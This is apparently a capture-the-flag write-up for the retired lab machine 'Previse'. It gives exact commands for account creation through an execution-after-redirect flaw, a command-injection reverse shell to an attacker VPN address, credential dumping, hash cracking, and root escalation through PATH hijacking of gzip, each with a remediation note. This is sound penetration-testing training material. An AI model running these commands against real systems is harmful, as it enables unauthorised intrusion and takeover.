Previse
Summary
I exploited a PHP coding flaw that delivered full page content inside redirect responses, allowing silent account creation on a private file-management portal with no prior credentials. After logging in, I downloaded the site's own backup archive, reviewed its source code, discovered an OS command injection flaw in a log-viewing page, and obtained a remote shell as the web server process. Plaintext database credentials baked into the source code led to the local user's password hash, which cracked offline in seconds.
That cracked password opened an SSH session and the user flag. A sudo rule permitted the user to run a shell script as root; because the script invoked gzip by relative name rather than absolute path, planting a malicious gzip binary early in the PATH caused root-level code execution and complete system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <the-sudo-allowed-script> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP scan with service/version detection. Confirms only ports 22 and 80 are open.
$ nmap -sV -sC -p- --min-rate 5000 -oN previse_full.txt $TARGET
22/tcp open ssh OpenSSH 7.6p1
80/tcp open httpVerify the 302 redirect and PHPSESSID cookie on unauthenticated requests.
$ curl -sI http://$TARGET/Exact commands 3
Observe the 302 status AND the account-creation form HTML in the same response body.
$ curl -v http://$TARGET/accounts.php 2>&1 | grep -A 40 '< HTTP'POST new credentials directly to the endpoint. The server creates the account despite the redirect.
$ curl -s -X POST http://$TARGET/accounts.php -d "username=$USERNAME&password=$PASSWORD3&confirm=$PASSWORD3" -D -Authenticate with the newly created account and save the session cookie.
$ curl -s -c cookies.txt -X POST http://$TARGET/login.php -d "username=$USERNAME&password=$PASSWORD3" -D -FixStop PHP page execution immediately after issuing every redirectCritical
Exact commands 3
Identify the backup download link from the file listing page.
$ curl -s -b cookies.txt http://$TARGET/files.php | grep -i 'zip\|href'Download and extract the backup archive.
$ curl -s -b cookies.txt http://$TARGET/files/siteBackup.zip -o siteBackup.zip && unzip siteBackup.zip -d previse_src/Locate hardcoded credentials and dangerous function calls in the source code.
$ grep -rn 'password\|mysqli\|exec\|system\|shell_exec' previse_src/ --include='*.php'Exact commands 2
Open a listener on my machine before sending the payload.
$ nc -lvnp 4444Inject a reverse-shell payload via the delim parameter. Replace $ATTACKER_IP with your tun0 VPN address.
$ curl -s -b cookies.txt -X POST http://$TARGET/logs.php --data-urlencode 'delim=,;bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'FixEliminate OS command injection in the log viewerCritical
Exact commands 2
Read the database connection file from the www-data shell. Exposes host, username, and password in cleartext.
$ cat /var/www/html/config.phpConnect locally and dump all account rows including m4lwhere's password hash. Substitute the actual password found in config.php.
$ mysql -u root -p"$PASSWORD2" previse -e 'SELECT * FROM accounts;'FixRemove hardcoded database credentials from web-accessible source filesHigh
Exact commands 2
Mode 3200 = bcrypt ($2y$). Recovers password from m4lwhere's hash.
$ hashcat -m 3200 m4lwhere.hash /usr/share/wordlists/rockyou.txt --forceAuthenticate with the cracked password. Read /home/m4lwhere/user.txt -> <user.txt>
$ ssh m4lwhere@$TARGETFixEnforce strong password hashing and a minimum password policyHigh
Exact commands 4
Name the script m4lwhere may run as root; the path it prints is what the last command takes.
$ sudo -lVerify the script calls gzip (or another binary) without an absolute path.
$ cat <the-sudo-allowed-script>Drop a gzip of my own that spawns an interactive root shell into the temp directory.
$ TD=$(mktemp -d) && printf '#!/bin/bash\n/bin/bash -p\n' > $TD/gzip && chmod +x $TD/gzipRun the allowed script with the poisoned PATH. The replacement gzip executes as root. Read /root/root.txt -> <root.txt>
$ sudo PATH=$TD:$PATH <the-sudo-allowed-script>FixUse absolute paths in every sudo-allowed scriptCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |